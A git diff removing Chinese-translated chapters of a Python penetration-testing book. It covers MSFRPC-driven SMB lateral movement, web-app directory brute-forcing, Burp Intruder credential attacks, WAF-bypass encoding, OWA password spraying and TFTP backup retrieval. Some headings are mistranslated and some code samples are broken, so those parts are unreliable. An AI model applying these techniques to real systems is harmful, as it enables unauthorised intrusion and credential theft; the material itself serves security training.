''' -set SMBDomain ''' + dom +''' -run -''' - return command, module -``` - -最后一个函数实际启动与 MSFRPC 的连接,并针对特定主机执行相关命令。 - -``` -def run_commands(verbose, iplist, user, passwd, dom, port, file): - bufsize = 0 - e = open(file, 'a', bufsize) - done = False -``` - -该脚本创建与 MSFRPC 的连接,并创建控制台,然后通过特定的`console_id`对其进行跟踪。别忘了,`msfconsole`可以有多个会话,因此我们必须将会话跟踪到`console_id`。 - -``` - client = msfrpc.Msfrpc({}) - client.login('msf','msfrpcpassword') - try: - result = client.call('console.create') - except: - sys.exit("[!] Creation of console failed!") - console_id = result['id'] - console_id_int = int(console_id) -``` - -然后,该脚本迭代已确认具有活动 SMB 服务的 IP 地址列表。然后,脚本为每个 IP 地址创建必要的命令。 - -``` - for ip in iplist: - if verbose > 0: - print("[*] Building custom command for: %s") % (str(ip)) - command, module = build_command(verbose, user, - passwd, dom, port, ip) - if verbose > 0: - print("[*] Executing Metasploit module %s - on host: %s") % (module, str(ip)) -``` - -然后将命令写入控制台,我们等待结果。 - -``` - client.call('console.write',[console_id, command]) - time.sleep(1) - while done != True: -``` - -我们等待每个命令执行的结果,并验证已返回的数据以及控制台是否仍在运行。如果是,我们将延迟数据的读取。完成后,结果将写入指定的输出文件。 - -``` - result = client.call('console.read',[console_id_int]) - if len(result['data']) > 1: - if result['busy'] == True: - time.sleep(1) - continue - else: - console_output = result['data'] - e.write(console_output) - if verbose > 0: - print(console_output) - done = True -``` - -我们关闭文件并销毁控制台以清理我们所做的工作。 - -``` - e.closed - client.call('console.destroy',[console_id]) -``` - -脚本的最后部分与设置参数、设置构造函数和调用模块有关。这些组件与以前的脚本类似,为了节省空间,这里没有包含这些组件,但是可以在 GitHub 上前面提到的位置找到详细信息。最后一个要求是使用我们想要的特定密码在`msfconsole`处加载`msgrpc`。因此,启动`msfconsole`,然后在其中执行以下操作: - -``` -load msgrpc Pass=msfrpcpassword -``` - -### 注 - -命令并没有输入错误,Metasploit 已经移到了`msgrpc`节`msfrpc`,但每个人仍然将其称为`msfrpc`。最大的区别在于`msgrpc`库使用 POST 请求发送数据,而`msfrpc`库使用**可扩展标记语言**(**XML**)。所有这些都可以通过资源文件自动设置服务。 - -# 总结 - -在本章中,我们重点介绍了一种方法,在该方法中,您可以在示例环境中移动。特别是,如何利用相对框、升级权限和提取其他凭据。从这个位置,我们确定了我们可以横向移动到的其他可行主机以及当前登录到它们的用户。我们使用 Veil 框架生成自定义有效载荷以绕过 HIPS,并执行 PtH 攻击。这允许我们使用工具 Mimikatz 从内存中提取其他凭据。然后,我们自动识别可行的次要目标,用户使用 Python 和 MSFRPC 登录这些目标。根据您的预期,这其中的许多可能看起来非常令人惊讶,无论是复杂还是缺乏复杂性。请记住,这一切都取决于您的环境以及实际破解它所需的工作量。本章提供了大量与开发基于网络和系统的资源相关的详细信息,下一章将从不同的角度重点介绍 web 评估。 \ No newline at end of file diff --git a/trans/py-pentest-dev/06.md b/trans/py-pentest-dev/06.md deleted file mode 100644 index 4b918f7..0000000 --- a/trans/py-pentest-dev/06.md +++ /dev/null @@ -1,263 +0,0 @@ -# 第 6 章:使用 Python 评估 Web 应用程序 - -与基础设施评估相比,Web 应用程序评估或 Web 应用程序渗透测试是不同的动物。这也取决于评估的目标。与移动应用程序评估一样,Web 应用程序评估也经常以错误的方式进行。网络或基础设施渗透测试已经成熟,客户对结果的预期也越来越明智。对于 web 应用程序或移动应用程序评估,这并不总是正确的。有多种工具可用于分析应用程序的漏洞,包括 Metasploit、Nexpose、Nessus、Core Impact、WebInspect、AppScan、Acunetix 等。对于 web 应用程序漏洞评估,有些方法要比其他方法好得多,但它们都有一些共同点。其中之一是,它们不能替代渗透测试。 - -这些工具有自己的位置,但取决于参与的范围和试图识别的弱点,它们往往达不到要求。WebInspect、AppScan 和 Acunetix 等特定产品适用于识别潜在漏洞,特别是在**系统开发生命周期**(**SDLC**期间),但它们会报告误报并错过复杂的多阶段漏洞利用。每个工具都有它的位置,但即使在使用这些工具时,相关风险也可能被忽略。 - -现在这枚硬币有另一面;渗透测试不会发现 web 应用程序中的每一个漏洞,但无论如何它也不会这么做。Web 应用程序渗透测试的重点是识别系统开发问题、过程和关键风险。因此,可以快速修复已识别的漏洞,但具体的弱点指向更大的安全实践,应该在整个 SDLC 中加以解决。 - -大多数应用渗透测试的重点应至少包括以下部分(如果不是全部): - -* 分析当前**开放式 Web 应用安全项目**(**OWASP**)前 10 个漏洞。 -* 识别在某些位置泄漏数据或留下残余数据痕迹的应用程序区域,包括未记录或未链接的页面或目录。这也称为数据永久性。 -* 恶意参与者可能从一种帐户类型横向移动到另一种帐户类型或升级权限的方式。 -* 应用程序可为攻击者提供注入或操作数据手段的区域。 -* 应用程序可以创建**拒绝服务**(**拒绝服务**)情况的方式,但这通常是在没有利用或明确验证的情况下完成的,以防止对业务运营造成任何影响。 -* 最后,攻击者如何渗透内部网络。 - -考虑所有这些组件,您会发现应用程序扫描工具的使用将无法识别所有这些组件。此外,渗透测试应具有特定的目标和目的,以确定相关概念证明的指标和问题。否则,如果评估人员试图根据复杂性识别应用程序中的所有漏洞,则可能需要很长时间。 - -客户应审查这些建议和应用程序代码。客户应补救评估员强调的所有指定位置,然后跟进并确定评估员在该时间段内可能未发现的其他弱点。一旦完成 SDLC,应更新 SDLC,以便在开发过程中纠正未来的弱点。最后,应用程序越复杂,开发人员参与的越多;因此,在测试时,请注意漏洞热映射。 - -就像渗透测试人员一样,开发人员可以拥有不同级别的技能,如果组织的 SDLC 不是很成熟,那么每个开发团队在应用程序领域的漏洞级别可能会有所不同。我们称之为漏洞热映射,在该映射中,应用程序中的某些位置的漏洞比其他位置的漏洞多。这通常意味着开发人员或开发人员不具备在与其他团队相同的级别交付产品的必要技能。存在更多漏洞的区域也可能表明存在更严重的漏洞。因此,如果您注意到某个应用程序的某个特定区域像圣诞树一样亮起,并且存在弱点,请提升您正在查看的攻击向量的类型。 - -根据参与的范围,开始关注可能会破坏安全边界的漏洞,例如**结构化查询语言注入**(**SQLi**)、**远程**或**本地文件包含**(**RFI**/**LFI**),非有效重定向和转发,不受限制的文件上载,最后是不安全的直接对象引用。这些漏洞中的每一个都与应用程序的请求和响应模型的操作有关。 - -应用程序通常使用请求和响应模型,通过 cookie 跟踪特定的用户会话数据。因此,在编写脚本时,您必须在一个方法中构建脚本,以处理发送数据、接收数据以及解析结果以了解预期或不预期的内容。然后,您可以创建后续请求以进一步前进。 - -# 识别实时应用程序与开放端口 - -当评估大型环境以包括**内容交付网络**(**CDN**)时,您会发现您将识别数百个开放的 web 端口。大多数这些 web 端口都没有在这些端口上部署活动的 web 应用程序,因此您需要访问每个页面或请求 web 页面标题。只需对站点的`http://`和`https://`版本执行`HEAD`请求即可。使用`urllib2`的 Python 脚本可以非常轻松地执行此操作。此脚本只需获取主机**互联网协议**(**IP**地址)的文件,然后构建创建相关**统一资源定位器**(**URL**的字符串。在请求每个站点时,如果它收到成功的请求,则数据将写入文件: - -``` -#!/usr/bin/env python -import urllib2, argparse, sys -defhost_test(filename): - file = "headrequests.log" - bufsize = 0 - e = open(file, 'a', bufsize) - print("[*] Reading file %s") % (file) - with open(filename) as f: - hostlist = f.readlines() - for host in hostlist: - print("[*] Testing %s") % (str(host)) - target = "http://" + host - target_secure = "https://" + host - try: - request = urllib2.Request(target) - request.get_method = lambda : 'HEAD' - response = urllib2.urlopen(request) - except: - print("[-] No web server at %s") % (str(target)) - response = None - if response != None: - print("[*] Response from %s") % (str(target)) - print(response.info()) - details = response.info() - e.write(str(details)) - try: - response_secure = urllib2.urlopen(request_secure) - request_secure.get_method = lambda : 'HEAD' - response_secure = urllib2.urlopen(request_secure) - except: - print("[-] No web server at %s") % (str(target_secure)) - response_secure = None - if response_secure != None: - print("[*] Response from %s") % (str(target_secure)) - print(response_secure.info()) - details = response_secure.info() - e.write(str(details)) - e.close() -``` - -以下屏幕截图显示了此脚本在运行时在屏幕上的输出: - -![Identifying live applications versus open ports](graphics/B04315_06_01.jpg) - -### 注 - -此脚本的完整版本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/headrequest.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/headrequest.py) 。如果需要,可以轻松修改此脚本以执行后续任务。已有`PeppingTom`和`EyeWitness`等工具可以比脚本更好地完成此活动,但了解如何构建此基本脚本将允许您在必要时包含其他分析。 - -# 用 Python 识别隐藏文件和目录 - -当我们访问已识别 IP 地址的站点时,我们看到它是**该死的易受攻击的 Web 应用程序**(**DVWA**)。我们还看到,它已将默认登录页的详细信息附加到我们的初始请求中。这意味着我们从`http://192.168.195.145/dvwa/login.php`站点开始,如以下屏幕截图所示: - -![Identifying hidden files and directories with Python](graphics/B04315_06_02.jpg) - -我们现在有了一个测试的起始位置,使用这些详细信息,我们可以查找隐藏的目录和文件。让我们修改上一个脚本以自动查找隐藏的文件或目录。 - -最好的方法是从我们所在站点的基本目录开始。您可以升级,但在多个网站所在的环境中,您最终可能会跳出范围。因此,在以这种方式进行攻击之前,请先了解您的环境。如您所见,该脚本在目录和文件名文件中运行,并将它们附加到目标站点。然后,我们会报告它们是否有效: - -``` -#!/usr/bin/env python -import urllib2, argparse, sys -defhost_test(filename, host): - file = "headrequests.log" - bufsize = 0 - e = open(file, 'a', bufsize) - print("[*] Reading file %s") % (file) - with open(filename) as f: - locations = f.readlines() - for item in locations: - target = host + "/" + item - try: - request = urllib2.Request(target) - request.get_method = lambda : 'GET' - response = urllib2.urlopen(request) - except: - print("[-] %s is invalid") % (str(target.rstrip('\n'))) - response = None - if response != None: - print("[+] %s is valid") % (str(target.rstrip('\n'))) - details = response.info() - e.write(str(details)) - e.close() -``` - -知道了这一点,我们可以加载四个最常见的隐藏或未链接的网站所在位置。它们是`admin`、`dashboard`、`robots.txt`和`config`。使用这些数据,当我们运行脚本时,我们确定了两个可行的位置,如下面的屏幕截图所示。`Robots.txt`很好,但`config`通常意味着如果权限不正确或文件未被 web 服务器使用,我们可以找到用户名和密码。 - -![Identifying hidden files and directories with Python](graphics/B04315_06_03.jpg) - -正如您在这里看到的,我们得到了目录内容的列表: - -![Identifying hidden files and directories with Python](graphics/B04315_06_04.jpg) - -不幸的是,当您打开`config.inc.php`文件时,如此屏幕截图所示,没有显示任何内容: - -![Identifying hidden files and directories with Python](graphics/B04315_06_05.jpg) - -管理员和支持人员并不总是了解他们的某些行为的影响。当从`config`文件进行备份时,如果这些文件未被积极使用,或者权限设置不正确,您通常可以通过浏览器读取它们。Linux 系统上的备份文件由尾部的`~`表示。我们知道它是 Linux 系统,因为之前的`HEAD`请求表明它是 Ubuntu 主机。 - -### 提示 - -请记住,头文件可以由管理员和安全工具进行操作,因此不应将其视为确定的信息源。 - -正如您在下面的屏幕截图中所看到的,请求打开了一个`config`文件,为我们提供访问数据库服务器所需的详细信息,我们可以从中提取关键数据: - -![Identifying hidden files and directories with Python](graphics/B04315_06_06.jpg) - -作为一名渗透测试人员,您必须高效地利用您的时间,如前所述,这是成功渗透测试的障碍之一。这意味着,当我们研究数据库的内容时,我们还可以设置一些自动化工具。一个简单的测试就是使用入侵者使用 Burp 套件。 - -### 注 - -`dirtester.py`脚本的完整版本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/dirtester.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/dirtester.py) 。 - -# 使用 Burp 套件的凭据攻击 - -从[下载打嗝套件免费版 http://portswigger.net/burp/download.html](http://portswigger.net/burp/download.html) 然后运行它。确保您使用的浏览器不会干扰应用程序测试的评估。大多数当前浏览器将自动减轻大部分测试,并且这些保护措施中的大多数无法关闭,以完成不受阻碍的测试。Firefox 具有这些保护功能,但可以在开发和安全分析时关闭这些功能。此外,Firefox 的插件支持允许您更好地评估应用程序。许多刚刚开始的评估人员无法理解为什么他们刚刚执行的一些新的**跨站点脚本**(**XSS**攻击被阻止。通常,是 Chrome 或 Internet Explorer 中的一些内置浏览器保护说它关闭了,但实际上不是。 - -现在,在 Firefox 中,通过在手动代理配置中输入`127.0.0.1`和`port 8080`来打开本地代理支持,如下所示: - -![Credential attacks with Burp Suite](graphics/B04315_06_07.jpg) - -在评估 web 应用程序时,您可能希望将范围仅限于要测试的系统。确保设置此选项,然后过滤所有其他目标,以清理输出并防止自己错误地攻击其他主机。这可以通过在**站点地图**窗口中右键单击主机或单击**范围**选项卡并手动添加来完成,如此屏幕截图所示: - -![Credential attacks with Burp Suite](graphics/B04315_06_08.jpg) - -现在已经设置了 Burp,我们可以开始评估 DVWA 站点,它有一个简单的登录页面,需要用户名和密码。加载每个网页时,您必须禁用**截取**模式或单击**转发**进入下一页。我们将在几分钟内需要拦截能力,因此我们将保持启用状态。基本上,前面提到的 Burp 套件是一个透明代理,它在网站和浏览器之间发送所有指定流量。这允许您实时操作数据和流量,这意味着您可以让应用程序以不同于预期的方式执行。 - -要开始此分析,我们必须了解登录页面在发送到服务器时如何格式化其请求,以便对其进行操作。因此,我们在登录提示中为两者提供了错误的用户名和密码,并在代理中捕获请求。下图显示了 Burp 入侵者捕获的错误登录的原始捕获。 - -![Credential attacks with Burp Suite](graphics/B04315_06_09.jpg) - -然后,右键单击它,选择 Send to 入侵者,并在代理中关闭 Intercept。这允许我们反复操作发送到服务器的请求,以查看是否可以得到不同的响应。 - -按照这种模式,我们可以将攻击配置为通过用户名和密码列表运行,这可能会授予我们访问权限。点击**入侵者**主要选项卡和**位置**次要选项卡。选择最初提供的用户名和密码的两个位置,然后从下拉列表中选择**集束炸弹**,如下图所示: - -### 注 - -入侵者攻击有多种类型,在您的评估中,集束炸弹将是最常用的类型。有关入侵者攻击的更多详细信息,请访问[https://support.portswigger.net/customer/portal/articles/1783129-configuring-a-burp-intruder-attack](https://support.portswigger.net/customer/portal/articles/1783129-configuring-a-burp-intruder-attack) 。 - -![Credential attacks with Burp Suite](graphics/B04315_06_10.jpg) - -然后创建两个列表;有效负载集 1 用于用户名,有效负载集 2 用于密码。 - -![Credential attacks with Burp Suite](graphics/B04315_06_11.jpg) - -接下来,选择**始终**作为后续重定向,因为登录通常会创建网站过渡。 - -### 提示 - -例如,为整个评估设置一个硬范围,然后使用入侵者忽略该范围的好处是,您知道在整个评估过程中,您不会进入意外的领域。 - -![Credential attacks with Burp Suite](graphics/B04315_06_13.jpg) - -然后点击**入侵者**菜单项,选择**开始**,将显示一个新的弹出窗口。您可以通过与其他结果相比大小的变化来确定可行的帐户。 - -![Credential attacks with Burp Suite](graphics/B04315_06_14.jpg) - -现在,您可以直接访问 web 应用程序,从而可以在应用程序中移动。 - -# 用斜纹布穿行光源 - -Python 有一个库,允许您在源代码级别浏览 web 应用程序并与之交互。安装库后,您可以导入库或使用名为`twill-sh`的`twill`shell。 - -![Using twill to walk through the source](graphics/B04315_06_15.jpg) - -然后,您可以加载目标网站,并使用以下命令查看页面的源代码: - -``` -go http://192.168.195.159/dvwa/index.php -show - -``` - -这只是显示了该站点的源代码,允许您进一步与该站点交互。 - -![Using twill to walk through the source](graphics/B04315_06_16.jpg) - -这允许您直接与站点的组件交互,并确定需要提交的内容。`twill-sh`库在交互模式下运行时有帮助支持,但它是一个有限的工具。twill 的好处是与源代码交互并识别站点中可能感兴趣的区域。这对于那些拥有大量动态内容或大量页面的网站来说是不好的。例如,我运行了`info`命令来尝试识别站点的任何特定内容,如下所示: - -![Using twill to walk through the source](graphics/B04315_06_17.jpg) - -在这个基本级别上,您可以理解应用程序中可以操作的内容类型、数据格式和其他细节,但是 Python 中有更好的库,可以用于实现如下所述的相同结果: - -# 了解何时使用 Python 进行 web 评估 - -Python 有几个库,它们对于执行 web 应用程序评估非常有用,但也有一些限制。Python 最适合用于 web 应用程序的小型自动化组件,这些组件无法通过透明代理(如 Burp)手动模拟。这意味着您在应用程序中找到的特定工作流可能会动态生成,并且无法通过透明代理轻松复制。如果存在时间问题,这一点尤其正确。因此,如果您需要使用多种请求和响应机制与后端服务器进行交互,那么 Python 可能适合您的需求。 - -## 了解何时使用特定库 - -在使用 web 应用程序时,主要有五个库。从历史上看,我最常使用`urllib2`库,这是因为它具有强大的功能和简单的代码原型制作方法,但该库很旧。您会发现它缺少一些主要功能,与新时代 web 应用程序交互的更高级方法被认为是不可靠的,这与下面描述的较新的库相比。当您与网站交互时,`httplib2`Python 库提供了强大的功能,但它比`urllib2`、`mechanize`、`request`和`twill`更难使用。这就是说,如果您正在处理与代理相关的棘手的检测功能,这可能是您的最佳选择,因为发送的头数据可以被完全操纵,以完美地模拟标准浏览器流量。在将其用于实际应用程序之前,应在模拟环境中对其进行全面测试。通常,库提供错误的响应仅仅是因为客户端请求的编制方式。 - -如果您来自 Perl 世界,您可能会在进入库时立即被吸引到`mechanize`,但它不能很好地用于动态网站,在某些情况下,它根本无法用于动态网站。那么今天的答案是什么?`request`图书馆。它非常干净,提供了必要的功能,可以快速应对当今复杂的 web 服务的挑战。为了突出两者与原型代码之间的差异,我使用`httplib2`和`request`创建了应用程序凭据攻击脚本。这些脚本的目的是识别实时凭证集并捕获相关 cookie。完成此操作后,可以向任一脚本添加其他功能。此外,这两个脚本突出显示了库集之间的差异。 - -第一个例子是`httplib2`版本,如下所示: - -![Understanding when to use specific libraries](graphics/B04315_06_18.jpg) - -第二个是`request`库版本,可以在下面的截图中看到: - -![Understanding when to use specific libraries](graphics/B04315_06_19.jpg) - -### 注 - -基于请求的脚本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/request_brute.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/request_brute.py) ,`httplib2`脚本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/httplib2_brute.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/httplib2_brute.py) 。 - -正如您所看到的,它们的长度几乎相同,但是请求中语句的构造使得 web 流量的模拟更加简单。 - -## 在网络评估中高效 - -使用这样的脚本或 Burp 的好处是可以分析可以操纵、注入和/或强制执行的参数。具体地说,您能够以超出人机交互的速度与 web 浏览器中不易显示的代码功能进行交互。这方面的示例包括为常见的 SQLi 或 XSS 攻击建立攻击列表。生成常见 SQLi 攻击或 XSS 攻击的列表。然后将它们加载到网站上的相关参数中,以识别漏洞。您必须修改上述脚本以命中目标参数,但这将大大加快识别潜在漏洞的过程。 - -### 注 - -对于每个数据库实例的常见注入类型,一些最佳 SQLi 列表可以在[中找到 http://pentestmonkey.net/category/cheat-sheet/sql-injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection) 。同样好的 XSS 列表在[上提供 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet) 。其中一些细节也内置在打嗝套件中,如[所示 https://support.portswigger.net/customer/portal/articles/1783128-Intruder_Common%20Uses.html](https://support.portswigger.net/customer/portal/articles/1783128-Intruder_Common%20Uses.html) 。 - -今天,我们必须应对**Web 应用程序防火墙**(**WAFs**)和可以绕过的保护工具,但您需要知道这些保护是如何设置的,以及哪些字符编码可以绕过它们。请记住,如果存在白名单或黑名单,它们会键入特定的字符集和/或编码,这可能会阻止您的攻击尝试。通过自动化测试,我们可以识别捕获上的关键项,从而防止 web 应用程序被利用,并由此调整注入以绕过已设置的保护。 - -### 提示 - -用于 web 应用程序评估的字符编码与生成有效负载完全不同。所以,你应该明白这些说法并不矛盾。大多数 WAF 在将数据与其白名单和/或黑名单进行比较之前,不会智能地检测和解码数据。因此,您可以通过将字符格式更改为应用程序可以理解但 WAF 无法理解的格式来绕过这些保护机制。 - -这对于像`sqlmap`这样的工具很重要,这对于验证 SQLi 来说非常好,但是它应该定制它的请求。只有在确认存在合理的注入漏洞后,才应使用该漏洞。然后,它应该用于构建概念验证、提取数据或妥协系统。加载`sqlmap`来点击每个参数只是为了寻找 SQLi 是一个非常耗时的过程。它可以提供潜在的误报并破坏系统。 - -### 提示 - -请记住,如果您不自定义参数并将请求传递给`sqlmap`,则可能会将非盲注入攻击转化为盲注入攻击,这将显著影响完成任务所需的时间。这个工具可能是市场上最好的,但是如果没有一个聪明的用户,它有时会迷失方向。 - -# 总结 - -在本章中,我们讨论了 web 应用程序评估和正常网络评估之间的区别。重点介绍了识别活动网页和打开端口的方法,并演示了如何识别未链接或隐藏的内容,以及如何使用 Burp 执行凭据攻击。此外,本章还演示了如何使用 twill 浏览网站,提取数据,然后创建脚本,以便使用不同的库构建请求-响应序列。本章的总结强调了如何通过使用脚本和开源工具来检查站点是否存在特定漏洞来提高效率。 - -在下一章中,我们将看到如何使用这些技术和其他弱点来突破组织的边界。 \ No newline at end of file diff --git a/trans/py-pentest-dev/07.md b/trans/py-pentest-dev/07.md deleted file mode 100644 index 0d9abee..0000000 --- a/trans/py-pentest-dev/07.md +++ /dev/null @@ -1,351 +0,0 @@ -# 第七章用蟒蛇破围 - -大多数评估人员必须面对的最困难的事情是找到一种方法,在不欺骗组织公众的情况下,通过互联网进入内部网络。偶尔会有广泛暴露的网络,但大多数组织已经学会了收紧外部边界。不幸的是,仍然存在一个系统性的问题,即硬的外部,然后是带有灯光监控控制的软的内部,其结构不足以防止真正的恶意参与者破坏资源。这意味着我们应该模拟恶意参与者执行的活动来破解外围。这反过来意味着要了解今天的典型周界。 - -# 了解今天的周界 - -一些网络仍然有不应该公开的服务,但大多数情况下,这些公开的服务很少存在任何可利用的风险。突出这些具体的例子将使你作为一个能够突破组织边界的评估员的心态发生转变。这些并不是你在互联网上可能发现的所有例子,但它们会突出共性。 - -## 明文协议 - -**文件传输协议****FTP**和 Telnet 都是明文协议的例子,它们可能暴露在外围环境中,通常不存在大多数自动化工具所列的风险。这是除非服务器包含关键数据或可能导致关键数据访问,已知**远程代码执行**(**RCE**漏洞,或者解决方案中存在默认或已知凭据。他们仍然不应该暴露在互联网上,但他们通常不像大多数**漏洞管理系统**(**VMS**所列的弱点那样危险。原因是,对于攻击者来说,要利用它,他或她有四种主要的破坏帐户的方法。 - -最常见的方法是嗅探凭据,这意味着他或她必须在通信的客户端或服务器端本地出现,或者通过路由路径出现在通道中。第二种方法是破坏存储这些凭证的系统。第三种是通过执行某种类型的社会工程攻击,这意味着如果用户容易受到攻击,那么这些凭据也可能保证访问许多其他服务,而不仅仅是明文协议。第四种是对服务执行在线凭证攻击,如密码喷射、字典攻击或暴力攻击。这并不是说明文协议没有风险,而是要指出它比 VMS 解决方案宣传的更难利用。 - -## 网络应用 - -从安全工程师多年来提出的评估、妥协和建议来看,如今公开服务的主要例子是 web 应用程序。这些应用程序可以位于多种端口上,包括非标准端口。它们通常是负载平衡的,并且可能通过复杂的**内容交付网络**(**CDN**)提供服务,这些网络可以有效地为请求用户群附近的服务器提供的材料的缓存版本提供服务。此外,这些应用程序可以通过虚拟化平台提供服务,虚拟化平台是提供商环境中其他系统的沙盒。因此,即使您破解了 web 应用程序,也可能无法访问目标网络。如果您想知道为什么在破解 web 应用程序系统后无法取得任何进展,请记住这一点。还要确保您有权测试不受客户端控制的网络。 - -## 加密远程访问服务 - -例如,**远程桌面协议**(**RDP**)和**安全壳**(**SSH**)等服务通常提供对内部网络的直接访问。这些服务可以通过多因素身份验证进行保护并进行加密,这意味着执行**中间人**(**MitM**攻击要困难得多。因此,以这些服务为目标将取决于哪些控制措施不到位,以及它们是否存在。 - -## 虚拟专用网络(VPN) - -除 web 服务外,互联网上其他最常见的公开服务是 VPN,包括但不限于**点对点隧道协议(PPTP)**、**互联网安全关联和密钥管理协议(ISAKMP)**等。对这些服务的攻击通常是多阶段的,需要获取其他信息,例如组名或组密码。这将是对作为特定用户进行身份验证的标准用户名和密码的补充。 - -很多时候,根据的实现,您甚至可能需要特定的软件来与设备关联,例如 Citrix 或 Cisco AnyConnect。一些供应商甚至会收取与其 VPN 软件副本许可相关的费用,因此,即使您确实找到了所有必要的详细信息,您可能仍然需要找到一个有效的软件副本或正确的版本。此外,与购买这些软件组件相比,这些软件组件的盗版版本甚至可能通过使用有毒版本打开您或您客户的网络,使其受到损害,而这些有毒版本可能有其自身的责任。 - -## 邮件服务 - -我们已经广泛讨论了利用邮件服务的方式。您仍然会看到这些服务被公开,这意味着仍然有机会找到所需的详细信息。 - -## 域名服务(DNS) - -与识别**互联网协议**(**IP**)地址相关的服务与**完全限定域名**(**FQDN**相关)。很多时候,它们可能在提供的 IP 范围内,但实际上超出了范围,因为它们属于**互联网服务提供商**(**ISP**)所有。此外,昨天的漏洞,如区域传输,在今天的网络中通常不可利用。 - -## 用户数据报协议(UDP)服务 - -除了前面提到的作为 UDP 服务运行的服务外,您还可以找到**简单网络管理协议**(**SNMP**)和**普通文件传输协议**(**TFTP**。这两种服务都可以提供系统的详细信息和访问权限,具体取决于它们所透露的信息。如果您找到正确的社区字符串,SNMP 可以提供系统详细信息,有时,如果版本足够旧,它甚至可以为系统本身提供密码,尽管在面向 Internet 的系统上这要难得多。另一方面,TFTP 被用作备份网络设备配置的主要手段,防火墙管理员经常错误地将服务从**非军事区**(**DMZ**或半可信网络公开到 Internet。 - -### 注 - -通过从[下载 Ubuntu,您可以设置自己的 Ubuntu TFTP 服务器来执行此攻击 http://www.ubuntu.com/download/alternative-downloads](http://www.ubuntu.com/download/alternative-downloads) 和设置服务器,详细信息来自[http://askubuntu.com/questions/201505/how-do-i-install-and-run-a-tftp-server](http://askubuntu.com/questions/201505/how-do-i-install-and-run-a-tftp-server) 。 - -# 了解账户和服务之间的联系 - -当查看面向互联网的资源时,您正试图确定哪些服务可能有风险,使您能够访问关键服务。因此,例如,SSH 或 Telnet 可能不会链接到 Windows 帐户身份验证,除非该组织非常成熟,并且正在使用 Centrify 等产品。因此,针对这些类型服务的字典攻击可能无法提供对资源的访问,从而允许您使用提取的详细信息进行横向移动。此外,大多数管理团队对安全环境中基于 Linux 和 Unix 的资源进行了很好的监控,这是因为易于合并此类设备。 - -# 使用打嗝套件破解收件箱 - -在[第 6 章](06.html "Chapter 6. Assessing Web Applications with Python")*中,我们重点介绍了如何使用 Burp Suite 运行密码喷雾,并使用 Python*评估 Web 应用程序。Burp 套件的最佳目标之一是面向互联网的**Outlook Web Access**(**OWA**接口。这是您可以执行的最简单的攻击之一,但也是最响亮的攻击之一。如前几章所述,您应该始终减少点击收件箱的时间,并使用符合 Active Directory 复杂性要求的非常常见的密码。 - -一旦您识别出与以前的请求相比具有不同字节大小的响应,可能会突出显示您已找到具有有效凭据集的活动收件箱。使用这些详细信息访问收件箱并查找关键数据。关键数据包括任何可能被视为对公司敏感的数据,这些数据将突出领导层面临的风险,或表明需要立即或计划开展活动,以弥补上述风险。它还包括允许您访问组织本身的任何内容。 - -示例包括通过电子邮件发送的密码和用户名、KeePass 或 LastPass 文件、网络远程访问指令、VPN 软件,有时甚至软件令牌。想想你的组织通过电子邮件发送的信息;如果没有多因素身份验证,它是攻击向量的一个很好的选择。为此,更多的组织已经转移到多因素认证,因此,这种攻击向量正在消失。 - -# 识别攻击路径 - -正如许多书籍中提到的,包括这本书,人们经常忘记 UDP。通常,这部分是因为针对 UDP 服务的扫描的响应通常是错误的。来自`nmap`和`scapy`等工具的返回数据可以为实际打开但报告为`Open|Filtered`的端口提供响应。 - -## 了解周边扫描的局限性 - -例如,对主机的研究表明,基于另一个服务的描述性横幅,TFTP 服务器可能在其上处于活动状态,但使用`nmap`进行的扫描指向端口`open|filtered`。 - -下图显示了 UDP 服务 TFTP 的响应为 open | filtered,如上所述,即使已知其为 open: - -![Understanding the limitations of perimeter scanning](graphics/B04315_07_01.jpg) - -这意味着端口实际上可能是打开的,但当大量响应显示许多端口以这种方式表示时,您可能对结果不太信任。可能无法获取这些端口和协议中的每个端口的标题,因为可能没有实际的标题可获取。像`scapy`这样的工具可以通过提供更详细的回答来帮助解决这个问题,这样你就可以自己解释这些问题。例如,使用以下命令可能会从 TFTP 服务获取响应: - -``` -#!/usr/bin/env python - -fromscapy.all import * - -ans,uns = sr(IP(dst="192.168.195.165")/UDP(dport=69),retry=3,timeout=1,verbose=1) - -``` - -下图显示了从 Scapy 执行 UDP 端口扫描以确定 TFTP 服务是否真正公开: - -![Understanding the limitations of perimeter scanning](graphics/B04315_07_02.jpg) - -我们看到我们有一个未答复的响应,我们可以使用`summary()`函数获取详细信息,如下所示: - -![Understanding the limitations of perimeter scanning](graphics/B04315_07_03.jpg) - -当扫描一个端口和一个 IP 地址时,这并不是很有用,但是如果测试是针对多个 IP 地址或端口的,比如下面的扫描,`summary()`和`display()`功能会非常有用: - -``` -ans,uns = sr(IP(dst="192.168.195.165")/UDP(dport=[(1,65535)]),retry=3,timeout=1,verbose=1) - -``` - -不管结果如何,TFTP 对这些扫描没有响应,但这并不一定意味着服务已关闭。根据配置和控制,大多数 TFTP 服务不会响应扫描。此类服务可能会产生误导,尤其是在启用防火墙的情况下。如果您尝试连接到服务,您可能会收到与没有防火墙过滤到实际客户端的响应时相同的响应,如此屏幕截图所示: - -![Understanding the limitations of perimeter scanning](graphics/B04315_07_04.jpg) - -本示例旨在强调一个事实,即当涉及到公开的服务、防火墙和其他保护机制时,您不能信任 UDP 扫描仪。您需要考虑其他细节,如主机名、其他服务横幅和信息源。我们把 TFTP 作为一个例子,因为如果它被暴露,它为我们作为攻击者提供了一个整洁的特性;提取数据不需要凭据。这意味着我们只需要知道正确的文件名就可以下载它。 - -## 从 TFTP 服务器下载备份文件 - -因此,为了确定这个系统是否确实包含我们想要的数据,我们需要查询服务中的实际文件名。如果我们猜到了正确的文件名,我们可以在系统上下载该文件,但如果我们不这样做,服务将不会提供响应。这意味着我们必须根据其他服务横幅识别可能的文件名。如前所述,TFTP 最常用于存储网络设备的备份,如果使用自动存档功能,我们可能能够对实际文件名进行有根据的猜测。 - 